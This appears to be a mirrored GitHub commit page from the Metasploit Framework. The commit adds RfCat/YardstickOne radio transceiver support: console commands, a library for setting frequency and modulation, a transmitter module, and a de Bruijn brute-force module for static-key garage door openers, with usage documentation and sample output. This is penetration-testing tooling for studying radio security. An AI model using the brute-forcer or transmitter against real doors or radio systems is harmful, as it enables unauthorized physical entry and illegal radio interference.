1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Initial patch for rftransceiver (RfCat / YardstickOne)

This commit is contained in:
Craig Smith 2017-02-10 13:47:19 -08:00 committed by Pearce Barry
parent 7f444c3b23
commit 2fde287424
12 changed files with 1495 additions and 0 deletions

View File

@ -0,0 +1,88 @@
Brute force utility by LegacySecurityGroup and the original can be found
[here](https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py).
It's a generic AM/OOK brute forcer with PWM translations. It has been
demonstrated to work against static key garage door openers.
## Options ##
**FREQ**
Frequency to brute force.
**BAUD**
Baud rate: Default: 2000
**BINLENGTH**
Binary bit-length for bruteforcing. Default: 8
**REPEAT**
How many times to repeat the sending of the packet. Default: 5
**PPAD**
Binary data to append to packet. Example: "0101" Default: None
**TPAD**
Binary data to add to end of packet. Example: "0101" Default: None
**RAW**
Do not do PWM encoding on packet, Default: False
**TRI**
Use trinary signals. Default False
**EXTRAVERBOSE**
Adds some extra status messages
**INDEX**
USB Index number. Default 0
**DELAY**
How many milliseconds to delay before transmission. Too fast tends to lock up the device. Default 0.5 seconds (500)
## Scenarios
Run a brute force of 6 characters long with 2 repeats:
```
hwbridge > run post/hardware/rftransceiver/rfpwnon FREQ=915000000 BINLEGTH=6 REPEAT=2
[*] Generating de bruijn sequence...
[*] Brute forcing frequency: 915000000
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000000
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101110
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000000
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101110
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000001
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101000
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000001
[*] Binary after PWM encoding:
[*] 11101110111011101110111011101000
[*] Transmitting...
[*] Binary before PWM encoding:
[*] 00000010
[*] Binary after PWM encoding:
[*] 11101110111011101110111010001110
[*] Transmitting...
...
```

View File

@ -0,0 +1,40 @@
Simple module to transmit a given frequency for a specified amount of seconds. This
code was ported from [AndrewMohowk](https://github.com/AndrewMohawk).
NOTE: Users of this module should be aware of their local laws,
regulations, and licensing requirements for transmitting on any
given radio frequency.
## Options ##
**FREQ**
Frequency to brute force.
**BAUD**
Baud rate: Default: 4800
**POWER**
Power level to specify. Default: 100
**SECONDS**
How many seconds to trnamit the signal. Default: 4
**INDEX**
USB Index number. Default 0
## Scenarios
Transmit a given signal for 4 seconds
```
hwbridge > run post/hardware/rftransceiver/transmitter FREQ=433880000
[*] Transmitting on 433880000 for 15 seconds...
[*] Finished transmitting
```

View File

@ -167,6 +167,15 @@ class HWBridge < Rex::Post::HWBridge::Client
console.disable_output = original
end
# Loads the rftranceiver extension
#
def load_rftransceiver
original = console.disable_output
console.disable_output = true
console.run_single('load rftransceiver')
console.disable_output = original
end
#
# Load custom methods provided by the hardware
#

View File

@ -3,4 +3,5 @@ module Msf::Post::Hardware
require 'msf/core/post/hardware/automotive/uds'
require 'msf/core/post/hardware/automotive/dtc'
require 'msf/core/post/hardware/zigbee/utils'
require 'msf/core/post/hardware/rftransceiver/rftransceiver'
end

View File

@ -0,0 +1,298 @@
# -*- coding: binary -*-
module Msf
class Post
module Hardware
module RFTransceiver
module RFTransceiver
attr_accessor :index
# Validates success of a function call
# @param r [Hash] A hash in expected format { "success" => true }
# @return [Boolean] if success is true or not, returns false if hash is wrong
def return_success(r)
return false if not r
return false if not r.has_key? "success"
return r["success"]
end
# Checks to see if this module is a RF Transceiver module
# @return [Boolean] true if client.rftransceiver is loaded
def is_rf?
return true if client.rftransceiver
print_error("Not an RFTransceiver module")
return false
end
# Returns a list of supported USB indexes by relay
# @return [Array] Example: [ 0, 1 ]
def get_supported_indexes
return [] if not is_rf?
r = client.rftransceiver.supported_idx
if r.has_key? "indexes"
return r["indexes"]
end
print_error("Invalid response from relay")
return []
end
#
# Sets the target USB index
# @param idx [Integer]
def set_index(idx)
self.index = idx
end
#
# Sets the frequency
# @param freq [Integer] Example: 433000000
# @param mhz [Integer] Optional Mhz
# @return [Boolean] success value
def set_freq(freq, mhz=-1)
return false if not is_rf?
self.index ||= 0
opts = {}
opts["mhz"] = mhz if not mhz == -1
r = client.rftransceiver.set_freq(self.index, freq, opts)
return_success(r)
end
#
# Sets the mode TX, RX or Idle
# @param mode [String] Mode type TX/RX/IDLE
# @return [Boolean] success value
def set_mode(mode)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_mode(self.index, mode)
return_success(r)
end
#
# Gets supported modulations
# @return [Array] String list of modulations
def get_modulations
return [] if not is_rf?
self.index ||= 0
return client.rftransceiver.get_supported_modulations(self.index)
end
#
# Sets the modulation
# @param mod [String] Example ASK/OOK
# @return [Boolean] success value
def set_modulation(mod)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_modulation(self.index, mod)
return_success(r)
end
#
# Sets packet's fixed length
# @param len [Integer] Length of packet
# @return [Boolean] success value
def set_flen(len)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.make_pkt_flen(self.index, len)
return_success(r)
end
#
# Sets packet's variable length
# @param len [Integer] Length of packet
# @return [Boolean] success value
def set_vlen(len)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.make_pkt_vlen(self.index, len)
return_success(r)
end
#
# Transmits a RF Packet. All data is base64 encoded before transmition to relay
# @param data [String] Blog of data stored in a string. Could be binary
# @param repeat [Integer] Optional Repeat transmission
# @param offset [Integer] Optional Offset within data section
# @return [Boolean] success value
def rfxmit(data, repeat=-1, offset=-1)
return false if not is_rf?
self.index ||= 0
opts = {}
opts["repeat"] = repeat if not repeat == -1
opts["offset"] = offset if not offset == -1
r = client.rftransceiver.rfxmit(self.index, data, opts)
return_success(r)
end
#
# Receive a packet
# @param timeout [Integer] Optional timeout value
# @param blocksize [Integer] Optional blocksize
# @return [String] Base64 decoded data, could be binary
def rfrecv(timeout = -1, blocksize = -1)
return "" if not is_rf?
self.index ||= 0
opts["timeout"] = timeout if not timeout == -1
opts["blocksize"] = blocksize if not blocksize == -1
client.rftransceiver.rfrecv(self.index, opts)
end
#
# Enable packet CRC
# @return [Boolean] success value
def enable_crc
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.enable_packet_crc(self.index)
return_success(r)
end
#
# Enable Manchester encoding
# @return [Boolean] success value
def enable_manchester
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.enable_manchester(self.index)
return_success(r)
end
#
# Sets the channel
# @param channel [Integer] Channel number
# @return [Boolean] success value
def set_channel(channel)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_channel(self.index, channel)
return_success(r)
end
#
# Sets the channel bandwidth
# @param bandwidth [Integer] Bandwidth value
# @param mhz [Integer] Mhz
# @return [Boolean] success value
def set_channel_bw(bandwidth, mhz=-1)
return false if not is_rf?
self.index ||= 0
opts = {}
opts["mhz"] = mhz if not mhz == -1
r = client.rftransceiver.set_channel_bandwidth(self.index, bandwidth, opts)
return_success(r)
end
#
# Calculates the appropriate exponent and mantissa and updates the correct registers
# chanspc is in kHz. if you prefer, you may set the chanspc_m and chanspc_e settings directly.
# only use one or the other:
# * chanspc
# * chanspc_m and chanspc_e
# @param chanspc [Integer]
# @param chanspc_m [Integer]
# @param chanspc_e [Integer]
# @param mhz [Integer] Mhz
# @return [Boolean] success value
def set_channel_spc(chanspc = -1, chanspc_m = -1, chanspc_e = -1, mhz=-1)
return false if not is_rf?
self.index ||= 0
opts = {}
opts["chanspc"] = chanspc if not chanspc == -1
opts["chanspc_m"] = chanspc_m if not chanspc_m == -1
opts["chanspc_e"] = chanspc_e if not chanspc_e == -1
opts["mhz"] = mhz if not mhz == -1
r = client.rftransceiver.set_channel_spc(self.index, opts)
return_success(r)
end
#
# Sets the baud rate
# @param baud [Integer] baud rate
# @param mhz [Integer] Optional Mhz
# @return [Boolean] success value
def set_baud(baud, mhz=-1)
return false if not is_rf?
self.index ||= 0
opts = {}
opts["mhz"] = mhz if not mhz == -1
r = client.rftransceiver.set_baud_rate(self.index, baud, opts)
return_success(r)
end
#
# Sets the deviation
# @param deviat [Integer] deviat value
# @param mhz [Integer] Optional mhz
# @return [Boolean] success value
def set_deviation(deviat, mhz=-1)
return false if not is_rf?
self.index ||= 0
opts = {}
opts["mhz"] = mhz if not mhz == -1
r = client.rftransceiver.set_deviation(self.index, deviat, opts)
return_success(r)
end
#
# Sets sync word
# @param word [Integer] Sync word
# @return [Boolean] success value
def set_sync_word(word)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_sync_word(self.index, word)
return_success(r)
end
#
# Sets the sync mode
# @param mode [Integer] Mode
# @return [Boolean] success value
def set_sync_mode(mode)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_sync_mode(self.index, mode)
return_success(r)
end
#
# Sets the number of preamble bits
# @param bits [Integer] number of preamble bits to use
# @return [Boolean] success value
def set_preamble(bits)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_number_preamble(self.index, bits)
return_success(r)
end
#
# Sets the power to max. Ensure you set the frequency first before using this
# @return [Boolean] success value
def max_power
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_maxpower(self.index)
return_success(r)
end
#
# Set power level
# @param level [Integer] Power level
# @return [Boolean] success value
def set_power(level)
return false if not is_rf?
self.index ||= 0
r = client.rftransceiver.set_power(self.index, level)
return_success(r)
end
end
end
end
end
end

View File

@ -70,6 +70,21 @@ class Client
send_request("/custom_methods")
end
#
# Sends a reset signal to the device to perform a software bounce or a full
# factory reset. Depends on how the device decided to handle it
#
def reset
send_request("/control/factory_reset")
end
#
# Sends a reboot signal to reboot the device.
#
def reboot
send_request("/control/reboot")
end
##
#
# Alias processor

View File

@ -0,0 +1,203 @@
#
# -*- coding: binary -*-
require 'rex/post/hwbridge/client'
module Rex
module Post
module HWBridge
module Extensions
module RFTransceiver
###
# RF Tranceiver extension - set of commands to be executed on Trancievers like the TI cc11XX
###
class RFTransceiver < Extension
def initialize(client)
super(client, 'rftransceiver')
# Alias the following things on the client object so that they
# can be directly referenced
client.register_extension_aliases(
[
{
'name' => 'rftransceiver',
'ext' => self
}
])
end
# Gets supported USB Indexes
# @return [Array] Indexes
def supported_idx
client.send_request("/rftransceiver/supported_idx")
end
# Sets the frequency
# @param idx [Integer] HW Index
# @param opt [Hash] Optional: "mhz" => 24
# @param freq [Integer] Frequency to set
def set_freq(idx, freq, opt={})
request = "/rftransceiver/#{idx}/set_freq?freq=#{freq}"
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
client.send_request(request)
end
# Retrieves a list of supported Modulations
# @param idx [Integer] HW Index
# @return [Array] of Modulation strings
def get_supported_modulations(idx)
client.send_request("/rftransceiver/#{idx}/get_modulations")
end
# Sets the mode
# @param idx [Integer] HW Index
# @param mode [String] Either RX, TX or IDLE
def set_mode(idx, mode)
client.send_request("/rftransceiver/#{idx}/set_mode?mode=#{mode}")
end
# Sets the modulation value
# @param idx [Integer] HW Index
# @param mod [String] Modulation Technique
def set_modulation(idx, mod)
client.send_request("/rftransceiver/#{idx}/set_modulation?mod=#{mod}")
end
# Sets fixed packet len
# @param idx [Integer] HW Index
# @param len [Integer] Length to set
def make_pkt_flen(idx, len)
client.send_request("/rftransceiver/#{idx}/make_packet_flen?len=#{len}")
end
# Sets variable packet len
# @param idx [Integer] HW Index
# @param len [Integer] Length to set
def make_pkt_vlen(idx, len)
client.send_request("/rftransceiver/#{idx}/make_packet_vlen?len=#{len}")
end
# Transmits data
# @param idx [Integer] HW Index
# @param data [String] Data to transmit
# @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer
def rfxmit(idx, data, opt={})
data = Base64.encode64(data)
request = "/rftransceiver/#{idx}/rfxmit?data=#{data}"
request += "&repeat=#{opt["repeat"]}" if opt.has_key? "repeat"
request += "&offset=#{opt["offset"]}" if opt.has_key? "offset"
client.send_request(request)
end
# Receives a packet
# @param idx [Integer] HW Index
# @param opt [Hash] Optional parameters: "timeout" => Integer, "blocksize" => Integer
# @return [Hash] "data" => <recieved data> "timestamp" => When it was received
def rfrecv(idx, opt={})
request = "/rftransceiver/#{idx}/rfrecv"
if opt.size() > 0
first = true
request += "?"
if opt.has_key? "timeout"
request += "timeout=#{opt["timeout"]}"
first = false
end
if opt.has_key? "blocksize"
request += "&" if not first
request += "blocksize=#{blocksize}"
end
end
data = client.send_request(request)
# Note the data is initially base64 encoded
if data.size() > 0
data["data"] = Base64.decode64(data["data"]) if data.has_key? "data"
end
data
end
def enable_packet_crc(idx)
client.send_request("/rftransceiver/#{idx}/enable_packet_crc")
end
def enable_manchester(idx)
client.send_request("/rftransceiver/#{idx}/enable_machester")
end
def set_channel(idx, channel)
client.send_request("/rftransceiver/#{idx}/set_channel?channel=#{channel}")
end
def set_channel_bandwidth(idx, bandwidth, opt={})
request = "/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}"
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
client.send_request(request)
end
def set_channel_spc(idx, opt={})
request = "/rftransceiver/#{idx}/set_channel_spc"
if opt.size > 0
request += "?"
first = true
if opt.has_key? "chanspc"
request += "chanspc=#{opt["chanspc"]}"
first = false
end
if opt.has_key? "chanspc_m"
request += "&" if not first
request += "chanspc_m=#{opt["chanspc_m"]}"
first = false
end
if opt.has_key? "chanspc_e"
request += "&" if not first
request += "chanspc_e=#{opt["chanspc_e"]}"
first = false
end
if opt.has_key? "mhz"
request += "&" if not first
request += "mhz=#{opt["mhz"]}"
end
end
client.send_request(request)
end
def set_baud_rate(idx, rate, opt={})
request = "/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}"
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
client.send_request(request)
end
def set_deviation(idx, deviat, opt={})
request = "/rftransceiver/#{idx}/set_deviation?deviat=#{deviat}"
request += "&mhz=#{opt["mhz"]}" if opt.has_key? "mhz"
client.send_request(request)
end
def set_sync_word(idx, word)
client.send_request("/rftransceiver/#{idx}/set_sync_word?word=#{word}")
end
def set_sync_mode(idx, mode)
client.send_request("/rftransceiver/#{idx}/set_sync_mode?mode=#{mode}")
end
def set_number_preamble(idx, num)
client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}")
end
def set_maxpower(idx)
client.send_request("/rftransceiver/#{idx}/set_maxpower")
end
def set_power(idx, power)
client.send_request("/rftransceiver/#{idx}/set_power?power=#{power}")
end
end
end
end
end
end
end

View File

@ -57,6 +57,8 @@ class Console::CommandDispatcher::Core
"bglist" => "Lists running background scripts",
"status" => "Fetch bridge status information",
"specialty" => "Hardware devices specialty",
"reset" => "Resets the device. Some devices this is a full factory reset",
"reboot" => "Reboots the device. Usually only supported by stand-alone devices",
"load_custom_methods" => "Loads custom HW commands if any"
}
@ -177,6 +179,9 @@ class Console::CommandDispatcher::Core
op = "No" if status["operational"] == 2
print_status("Operational: #{op}")
end
print_status("Device: #{status["device_name"]}") if status.has_key? "device_name"
print_status("FW Version: #{status["fw_version"]}") if status.has_key? "fw_version"
print_status("HW Version: #{status["hw_version"]}") if status.has_key? "hw_version"
end
def cmd_specialty_help
@ -196,6 +201,39 @@ class Console::CommandDispatcher::Core
print_line client.exploit.hw_specialty.to_s
end
def cmd_reset_help
print_line("Resets the device. In some cases this can be used to perform a factory reset")
print_line
end
#
# Performs a device reset or factory reset
#
def cmd_reset(*args)
if args.length > 0
cmd_reset_help
return
end
client.reset
end
def cmd_reboot_help
print_line("Reboots the device. This command typically only works on independent devices that")
print_line("are not attached to a laptop or other system")
print_line
end
#
# Perform a device reboot
#
def cmd_reboot(*args)
if args.length > 0
cmd_reboot_help
return
end
client.reboot
end
def cmd_load_custom_methods_help
print_line("Usage: load_custom_methods")
print_line

View File

@ -0,0 +1,587 @@
# -*- coding: binary -*-
require 'rex/post/hwbridge'
require 'msf/core/auxiliary/report'
module Rex
module Post
module HWBridge
module Ui
###
# Automotive extension - set of commands to be executed on CAN bus
###
class Console::CommandDispatcher::RFtransceiver
include Console::CommandDispatcher
include Msf::Auxiliary::Report
#
# List of supported commands.
#
def commands
all = {
'supported_idx' => 'suppored USB indexes',
'idx' => 'sets an active idx',
'freq' => 'sets the frequency',
'modulation' => 'sets the modulation',
'flen' => 'sets the fixed length packet size',
'vlen' => 'sets the variable lenght packet size',
'xmit' => 'transmits some data',
'recv' => 'receive a packet of data',
'enable_crc' => 'enables crc',
'enable_manchester' => 'enales manchester encoding',
'channel' => 'sets channel',
'channel_bw' => 'sets the channel bandwidth',
'baud' => 'sets the baud rate',
'deviation' => 'sets the deviation',
'sync_word' => 'sets the sync word',
'preamble' => 'sets the preamble number',
'power' => 'sets the power level',
'maxpower' => 'sets max power'
}
all
end
def cmd_supported_idx
indexes = client.rftransceiver.supported_idx
if not indexes or not indexes.has_key? "indexes"
print_line("error retrieving index list")
return
end
indexes = indexes["indexes"]
if not indexes.size > 0
print_line("none")
return
end
self.idx = indexes[0].to_i if indexes.size == 0
str = "Supported Indexes: "
str += indexes.join(', ')
str += "\nUse idx to set your desired bus, default is 0"
print_line(str)
end
#
# Sets the USB IDS
#
def cmd_idx(*args)
self.idx = 0
idx_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-i' => [ true, 'USB index, default 0']
)
idx_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: idx -i <Index number>\n")
print_line(idx_opts.usage)
return
when '-i'
self.idx = val
end
end
print_line("set index to #{self.idx}")
end
def cmd_freq_help
print_line("Sets the RF Frequency\n")
print_line("Usage: freq -f <frequency number>")
print_line("\nExample: freq -f 433000000")
end
#
# Takes the results of a client request and prints Ok on success
#
def print_success(r)
if r.has_key? "success" and r["success"] == true
print_line("Ok")
else
print_line("Error")
end
end
#
# Sets the frequency
#
def cmd_freq(*args)
self.idx ||= 0
freq = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-f' => [ true, 'frequency to set, example: 433000000'],
'-m' => [ true, 'Mhz, default is 24']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: freq -f <frequency number>\n")
print_line(opts.usage)
return
when '-f'
freq = val.to_i
when '-m'
mhz = val.to_i
end
end
if freq == -1
cmd_freq_help
return
end
arg["mhz"] = mhz if mhz
r = client.rftransceiver.set_freq(idx, freq, arg)
print_success(r)
end
def cmd_modulation_help
print_line("Usage: modulation -M <Modulation name>\n")
print_line("Modulation names:\n")
print_line(" #{client.rftransceiver.get_supported_modulations(idx)}")
print_line("\nExample: modulation -M ASK/OOK")
end
#
# Sets the modulation
#
def cmd_modulation(*args)
self.idx ||= 0
mod = nil
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-M' => [ true, 'Modulation name, See help for options']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
cmd_modulation_help
print_line(opts.usage)
return
when '-M'
mod = val
end
end
if not mod
cmd_modulation_help
return
end
r = client.rftransceiver.set_modulation(idx, mod)
print_success(r)
end
#
# Sets the fixed length
#
def cmd_flen(*args)
self.idx ||= 0
flen = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-l' => [ true, 'Fixed Length']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: flen -l <length>\n")
print_line(opts.usage)
return
when '-l'
flen = val.to_i
end
end
if flen == -1
print_line("You must specify a length")
return
end
r = client.rftransceiver.make_pkt_flen(idx, flen)
print_success(r)
end
#
# Sets the variable length
#
def cmd_vlen(*args)
self.idx ||= 0
vlen = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-l' => [ true, 'Variable Length']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: vlen -l <length>\n")
print_line(opts.usage)
return
when '-l'
vlen = val.to_i
end
end
if vlen == -1
print_line("You must specify a length")
return
end
r = client.rftransceiver.make_pkt_vlen(idx, vlen)
print_success(r)
end
#
# Xmit packet
#
def cmd_xmit(*args)
self.idx ||= 0
data = nil
repeat = -1
offset = -1
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Variable Length'],
'-r' => [ true, 'Repeat'],
'-o' => [ true, 'Data offset']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: xmit -d <data>\n")
print_line(opts.usage)
return
when '-d'
data = val
when '-r'
repeat = val.to_i
when '-o'
offset = val.to_i
end
end
if not data
print_line("You must specify the data argument (-d)")
return
end
arg["repeat"] = repeat if not repeat == -1
arg["offset"] = offset if not offset == -1
r = client.rftransceiver.rfxmit(idx, data, arg)
print_success(r)
end
#
# Recieve data packet
#
def cmd_recv(*args)
self.idx ||= 0
arg = {}
timeout = -1
blocksize = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ true, 'timeout'],
'-b' => [ true, 'blocksize']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: recv\n")
print_line(opts.usage)
return
when '-t'
timeout = val.to_i
when '-b'
blocksize = val.to_i
end
end
arg["blocksize"] = blocksize if not blocksize == -1
arg["timeout"] = timeout if not timeout == -1
r = client.rftransceiver.rfrecv(idx, arg)
if r.has_key? "data" and r.has_key? "timestamp"
print_line(" #{r["timestamp"]}: #{r["data"].inspect}")
else
print_line("Error")
end
end
#
# Enable CRC
#
def cmd_enable_crc(*args)
self.idx ||= 0
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: enable_crc\n")
print_line(opts.usage)
return
end
end
r = client.rftransceiver.enable_packet_crc(idx)
print_success(r)
end
#
# Enable Manchester encoding
#
def cmd_enable_manchester(*args)
self.idx ||= 0
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: enable_manchester\n")
print_line(opts.usage)
return
end
end
r = client.rftransceiver.enable_manchester(idx)
print_sucess(r)
end
#
# Set channel
#
def cmd_channel(*args)
self.idx ||= 0
channel = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-c' => [ true, 'Channel number']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: channel -c <channel number>\n")
print_line(opts.usage)
return
when '-c'
channel = val.to_i
end
end
if channel == -1
print_line("You must specify a channel number")
return
end
r = client.rftransceiver.set_channel(idx, channel)
print_success(r)
end
#
# Set channel bandwidth
#
def cmd_channel_bw(*args)
self.idx ||= 0
bandwidth = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-b' => [ true, 'Bandwidth'],
'-m' => [ true, 'Mhz']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: channel_bw -b <bandwidth>\n")
print_line(opts.usage)
return
when '-b'
bandwidth = val.to_i
when '-m'
mhz = val.to_i
end
end
if bandwidth == -1
print_line("You must specify the bandwidth (-b)")
return
end
arg["mhz"] = mhz if mhz
r = client.rftransceiver.set_channel_bandwidth(idx, bandwidth, arg)
print_success(r)
end
#
# Set baud rate
#
def cmd_baud(*args)
self.idx ||= 0
baud = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-b' => [ true, 'Baud rate'],
'-m' => [ true, 'Mhz']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: baud -b <baud rate>\n")
print_line(opts.usage)
return
when '-b'
baud = val.to_i
when '-m'
mhz = val.to_i
end
end
if baud == -1
print_line("You must specify a baud rate")
return
end
arg["mhz"] = mhz if mhz
r = client.rftransceiver.set_baud_rate(idx, baud, arg)
print_success(r)
end
#
# Set Deviation
#
def cmd_deviation(*args)
self.idx ||= 0
deviat = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Deviat'],
'-m' => [ true, 'Mhz']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: deviation -d <deviat value>\n")
print_line(opts.usage)
return
when '-d'
deviat = val.to_i
when '-m'
mhz = val.to_i
end
end
if deviat == -1
print_line("You must specify a deviat value")
return
end
arg["mhz"] = mhz if mhz
r = client.rftransceiver.set_deviation(idx, deviat, arg)
print_success(r)
end
#
# Set Sync word
#
def cmd_sync_word(*args)
self.idx ||= 0
word = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-w' => [ true, 'Sync word (Integer)']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: sync_word -w <int>\n")
print_line(opts.usage)
return
when '-w'
word = val.to_i
end
end
if word == -1
print_line("you must specify a sync word")
return
end
r = client.rftransceiver.set_sync_word(idx, word)
print_success(r)
end
def cmd_preamble_help
print_line("get the minimum number of preamble bits to be transmitted. note this is a flag, not a count")
print_line("so the return value must be interpeted - e.g. 0x30 == 0x03 << 4 == MFMCFG1_NUM_PREAMBLE_6 == 6 bytes")
end
#
# Set Preamble size
#
def cmd_preamble(*args)
self.idx ||= 0
preamble = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-n' => [ true, 'Number of preamble']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: preamble -n <number bits>\n")
print_line(opts.usage)
return
when '-n'
preamble = val.to_i
end
end
if preamble == -1
print_line("You must specify the number of preamble bits")
return
end
r = client.rftransceiver.set_number_preamble(idx, preamble)
print_success(r)
end
def cmd_maxpower_help
print_line("Max power is frequency dependent. Set frequency first")
end
#
# Sets max power
#
def cmd_maxpower(*args)
self.idx ||= 0
if args.length > 0
cmd_maxpower_help
return
end
r = client.rftransceiver.set_maxpower(idx)
print_success(r)
end
def cmd_power(*args)
self.idx ||= 0
power = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-p' => [ true, 'Power level']
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: power -p <power level>\n")
print_line(opts.usage)
return
when '-p'
power = val.to_i
end
end
if power == -1
print_line("You must specify the power level")
return
end
r = client.rftransceiver.set_power(idx, power)
print_success(r)
end
#
# Name for this dispatcher
#
def name
'RFtransceiver'
end
attr_accessor :idx
end
end
end
end
end

View File

@ -103,6 +103,9 @@ class MetasploitModule < Msf::Auxiliary
if self.hw_specialty.has_key? "zigbee"
sess.load_zigbee if self.hw_specialty["zigbee"] == true
end
if self.hw_specialty.has_key? "rftransceiver"
sess.load_rftransceiver if self.hw_specialty["rftransceiver"] == true
end
end
#

View File

@ -0,0 +1,153 @@
class MetasploitModule < Msf::Post
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
def initialize(info={})
super( update_info( info,
'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',
'Description' => %q{ Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw
raw binary signals. This is a port of LegacySecurityGroup.com rfpwnon
https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py },
'License' => MSF_LICENSE,
'Author' => ['Craig Smith'],
'Platform' => ['hardware'],
'SessionTypes' => ['hwbridge']
))
register_options([
OptInt.new('FREQ', [true, "Frequency to transmit on"]),
OptInt.new('BAUD', [false, "Baud rate to use", 2000]),
OptInt.new('BINLENGTH', [false, "Binary Length of signal to brute force", 8]),
OptInt.new('REPEAT', [false, "Number of times to repeat the signal", 5]),
OptString.new('PPAD', [false, "Specify your own binary padding before the brute forced binary", nil]),
OptString.new('TPAD', [false, "Specify your own binary padding after the brute forced binary", nil]),
OptBool.new('RAW', [false, "When set, disables PWM encoding. BINLENGTH must be -1", false]),
OptBool.new('TRI', [false, "When set, brute foces a trinary signal.", false]),
OptBool.new('EXTRAVERBOSE', [false, "More verbose", false]),
OptInt.new('INDEX', [false, "USB Index to use", 0]),
OptInt.new('DELAY', [false, "Delay in milliseconds between transmissions", 500])
], self.class)
@zeropwm = "1110"
@onepwm = "1000"
@brutechar = "01"
end
# @param key [String] binary/trinary represntation
# @return [Array] ByteArray
def convert_ook(key)
pwm_str_key = ""
key.each_char do |k|
x = "*"
case k
when "0"
x = @zeropwm
when "1"
x = @onepwm
when "2"
x = @twopwm
end
pwm_str_key += x
end
return pwm_str_key.scan(/.{1,8}/).collect{|x| x.to_i(2).chr}
end
def debruijn_bytes(k, n)
@a=[0]
@sequence = []
debruijn(1, 1, k, n)
return @sequence.join
end
def debruijn(t, p, k, n)
if t>n
if n%p==0
1.upto(p) {|j| @sequence<<@a[j]}
end
else
@a[t]=@a[t-p]
debruijn(t+1, p, k, n)
(@a[t-p]+1).upto(k-1) {|j|
@a[t]=j
debruijn(t+1, t, k, n)
}
end
end
def run
if not is_rf?
print_error("Not an RF Transceiver")
return
end
if not set_index(datastore['INDEX'])
print_error("Couldn't set usb index to #{datastore["INDEX"]}")
return
end
if datastore["TRI"]
@zeropwm = "10001000"
@onepwm = "11101110"
@twopwm = "10001110"
@brutechar = "012"
end
set_modulation("ASK/OOK")
set_freq(datastore["FREQ"])
set_sync_mode(0)
set_baud(datastore["BAUD"])
max_power
print_status("Generating de bruijn sequence...")
seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])
tail = seq[0, datastore['BINLENGTH']-1]
brutepacket = seq + tail
print_status("Brute forcing frequency: #{datastore['FREQ']}")
